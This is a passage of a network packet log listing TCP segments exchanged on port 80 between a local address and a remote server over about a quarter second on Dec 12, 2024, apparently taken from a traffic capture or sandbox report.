Dec 12, 2024 16:48:26.858272076 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.858274937 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.858279943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.858356953 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.859237909 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.859246016 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.859363079 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.860162973 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.860929012 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.860968113 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.861234903 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.861239910 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.861247063 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.861341000 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.862230062 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.862237930 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.862345934 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.863267899 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.863281012 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.863331079 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.864298105 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.864305019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.864356995 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.865386963 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.866194963 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.866225958 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.866585970 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.866599083 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.867170095 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.867171049 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.867597103 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.867650032 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.867672920 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.867691040 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.868356943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.868405104 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.868417978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.868473053 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.869407892 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.869467020 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.869689941 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.869831085 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.870439053 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.870475054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.870526075 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.870526075 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.871454000 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.871534109 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.871563911 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.871850014 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.872499943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.872637987 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.872672081 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.872714996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.873518944 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.873555899 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.873593092 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.873617887 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.874553919 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.874717951 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.874799013 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.874881029 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.875755072 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.875767946 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.875864983 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.876578093 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.876861095 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.876893997 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.877098083 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.877552032 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.877619028 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.877819061 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.877947092 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.878926039 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.879031897 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.879070997 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.879133940 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.879591942 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.879738092 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.879909039 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.880608082 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.880671978 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.880703926 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.880992889 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.881778955 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.881792068 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.882038116 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.882831097 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.882837057 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.882953882 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.883764982 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.883770943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.883877039 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.884747982 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.885396957 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.885428905 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.885660887 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.885867119 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.885992050 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.886018038 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.886235952 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.886785984 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.886885881 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.887093067 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.887933969 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.887939930 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.888015985 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.888915062 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.888921976 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.889019012 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.889856100 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.889993906 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.890069008 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.890156031 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.890937090 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.890944004 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.891014099 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.891948938 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.892009974 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.892046928 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.892153025 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.893009901 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.893017054 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.893114090 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.893990993 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.893999100 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.894041061 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.895030022 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.895041943 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.895168066 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.896040916 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.896090984 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.896100044 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.896224976 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.897073030 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.897085905 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.897128105 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.898207903 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.898335934 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.898375988 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.898845911 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.899072886 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.899255991 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.899288893 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.899426937 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.900233984 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.900290012 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.900321007 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.900527954 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.901120901 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.901336908 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.901357889 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.901437044 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.902158976 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.902259111 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.902291059 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.902339935 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.903208017 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.903213978 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.903310061 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.904277086 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.904325008 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.904369116 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.904369116 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.905318975 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.905345917 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.905416012 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.905426979 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.906356096 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.906363964 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.906497955 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.907278061 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.907370090 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.907385111 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.907601118 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.908361912 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.908425093 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.908477068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.909405947 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.909456968 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.909491062 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.909563065 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.910365105 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.910481930 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.910548925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.910548925 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:26.911339045 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:26.911458969 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.049643040 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.049729109 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.049784899 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.049784899 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.050096035 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.050168037 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.050198078 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.050244093 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.051266909 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.051350117 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.051353931 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.051436901 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.052177906 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.052289009 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.052489996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.053168058 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.053275108 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.053343058 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.053379059 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.054413080 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.054423094 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.054532051 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.055592060 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.055805922 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.055857897 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.055857897 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.056226969 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.056396961 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.056428909 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.056596994 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.057393074 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.057403088 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.057553053 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.058387041 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.058573961 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.058602095 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.058743954 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.059375048 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.059650898 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.059691906 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.060431957 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.060440063 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.061003923 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.061003923 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.061403036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.062289953 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.062412977 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.062427998 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.062496901 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.062519073 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.062678099 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.063555002 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.063563108 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.064618111 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.064625025 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.064816952 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.064816952 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.065582037 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.065588951 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.066107035 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.066643953 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.066651106 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.066905022 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.067595005 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.067967892 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.068006039 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.068392038 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.068623066 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.068629980 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.069267988 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.069727898 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.069736004 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.069885969 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.071027040 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.071033955 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.071222067 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.071657896 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.071698904 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.071785927 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.072762012 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.072767973 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.073293924 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.073857069 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.073863983 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.074374914 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.074803114 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.074809074 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.074939966 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.075828075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.075834036 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.075889111 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.076811075 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.076872110 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.076889038 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.077052116 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.077838898 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.077961922 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.078423023 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.078423023 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.078768015 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.078888893 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.078924894 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.078999996 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.079848051 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.079916954 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.079927921 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.080152035 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.080935001 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.081001043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.081825018 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.081825018 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.081861019 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.081994057 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.082494974 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.083018064 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.083024979 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.083333969 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.084002972 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.084008932 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.084202051 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.085011005 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.085017920 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.085107088 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.086127043 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.086133957 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.086209059 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.086970091 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.087269068 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.087296009 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.087333918 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.088193893 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.088396072 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.088432074 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.088669062 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.089049101 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.089615107 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.089637995 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.090085030 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.090291023 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.090298891 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.090950966 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.091253996 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.091260910 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.091335058 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.092268944 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.092278957 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.092363119 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.093168974 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.093177080 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.093467951 CET	49882	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:27.094471931 CET	80	49882	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:27.094480038 CET	80	49882	80.82.65.70	192.168.2.11
